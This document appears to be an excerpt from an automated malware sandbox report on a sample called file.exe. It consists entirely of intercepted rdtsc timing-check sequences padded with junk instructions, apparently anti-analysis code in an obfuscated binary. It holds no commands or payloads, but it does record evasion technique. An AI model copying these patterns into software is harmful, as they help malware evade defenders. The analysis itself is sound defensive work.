Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F058 second address: 51F05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F05C second address: 51F077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D17h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51FA4F second address: 51FA55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51FBD6 second address: 51FC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE4A9009D06h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push edi 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edi 0x00000013 popad 0x00000014 pushad 0x00000015 je 00007FE4A9009D0Eh 0x0000001b jns 00007FE4A9009D0Eh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5231CE second address: 5231D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5231D4 second address: 5231FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FE4A9009D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE4A9009D17h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5231FB second address: 523225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jmp 00007FE4A91B79F6h 0x00000012 ja 00007FE4A91B79E6h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522A25 second address: 522A4F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FE4A9009D0Eh 0x0000000a pop edi 0x0000000b jng 00007FE4A9009D0Ch 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522A4F second address: 522A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495B74 second address: 495B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE4A9009D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522B95 second address: 522BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FE4A91B79F3h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522BB3 second address: 522BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522BB9 second address: 522BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522BBD second address: 522BE4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE4A9009D06h 0x00000008 jmp 00007FE4A9009D13h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jp 00007FE4A9009D0Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522BE4 second address: 522BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522D6D second address: 522D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522D73 second address: 522D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522D79 second address: 522DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 jng 00007FE4A9009D0Eh 0x0000000d jmp 00007FE4A9009D15h 0x00000012 jmp 00007FE4A9009D19h 0x00000017 pushad 0x00000018 jmp 00007FE4A9009D14h 0x0000001d push eax 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5256DB second address: 5256DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5256DF second address: 5256ED instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE4A9009D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5256ED second address: 5256F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5256F3 second address: 5256F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5256F7 second address: 52570F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52570F second address: 525718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5252F1 second address: 5252F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5252F5 second address: 525310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE4A9009D0Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525310 second address: 52531A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE4A91B79E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52531A second address: 525320 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A548 second address: 52A552 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A552 second address: 52A56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D16h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A56C second address: 52A570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529936 second address: 52993A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52993A second address: 52993E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52993E second address: 52994A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52994A second address: 52994E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52994E second address: 529961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529961 second address: 529975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FE4A91B79E6h 0x0000000e je 00007FE4A91B79E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529AE7 second address: 529AEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529AEB second address: 529AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529C76 second address: 529C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529C7A second address: 529C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529C80 second address: 529CC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Eh 0x00000007 pushad 0x00000008 jnl 00007FE4A9009D06h 0x0000000e jnl 00007FE4A9009D06h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ebx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007FE4A9009D19h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529E00 second address: 529E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529E04 second address: 529E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529E0C second address: 529E3E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE4A91B79EEh 0x00000008 jmp 00007FE4A91B79EAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FE4A91B79EFh 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529E3E second address: 529E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D6A4 second address: 52D6A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D6A8 second address: 52D6B3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494162 second address: 494168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494168 second address: 49416D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49416D second address: 49417A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE4A91B79E8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D329 second address: 52D32F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D32F second address: 52D339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE4A91B79E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D339 second address: 52D358 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE4A9009D11h 0x0000000d ja 00007FE4A9009D06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531AED second address: 531AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531C2F second address: 531C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531EC3 second address: 531EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531EC9 second address: 531ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53205D second address: 532067 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE4A91B79E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5321F4 second address: 5321F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5321F8 second address: 532243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F2h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FE4A91B79F7h 0x00000011 pop esi 0x00000012 pushad 0x00000013 jmp 00007FE4A91B79F7h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB01F second address: 4DB037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE4A9009D0Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53235F second address: 532365 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532365 second address: 532381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE4A9009D14h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532381 second address: 532385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532385 second address: 5323BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FE4A9009D18h 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007FE4A9009D10h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5323BB second address: 5323C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53253B second address: 532540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532540 second address: 53254A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE4A91B79F9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53254A second address: 532561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D0Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532F51 second address: 532F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE4A91B79F5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532F6D second address: 532F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532F71 second address: 532F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532F79 second address: 532F9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE4A9009D14h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007FE4A9009D06h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532F9D second address: 532FA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532FA1 second address: 532FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532FAF second address: 532FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532FB5 second address: 532FBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B3E5 second address: 53B3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B3EB second address: 53B3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539433 second address: 53943F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FE4A91B79E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53943F second address: 53945D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D18h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53945D second address: 539461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539461 second address: 53946F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53946F second address: 539473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539473 second address: 53947C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53947C second address: 539482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539482 second address: 539491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D0Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5395E0 second address: 5395E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5395E6 second address: 539612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FE4A9009D0Eh 0x0000000c jmp 00007FE4A9009D0Ch 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007FE4A9009D06h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539612 second address: 539616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539783 second address: 5397B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007FE4A9009D19h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FE4A9009D0Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5397B6 second address: 5397E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jne 00007FE4A91B79E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE4A91B79F3h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE4A91B79ECh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539A67 second address: 539A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE4A9009D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539CFE second address: 539D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539D09 second address: 539D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539D0D second address: 539D47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c jnp 00007FE4A91B79E6h 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FE4A91B79F3h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 push edi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53ADB5 second address: 53ADD5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE4A9009D06h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE4A9009D12h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F125 second address: 53F14F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F8h 0x00000007 jp 00007FE4A91B79E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007FE4A91B79E6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F14F second address: 53F153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F153 second address: 53F159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
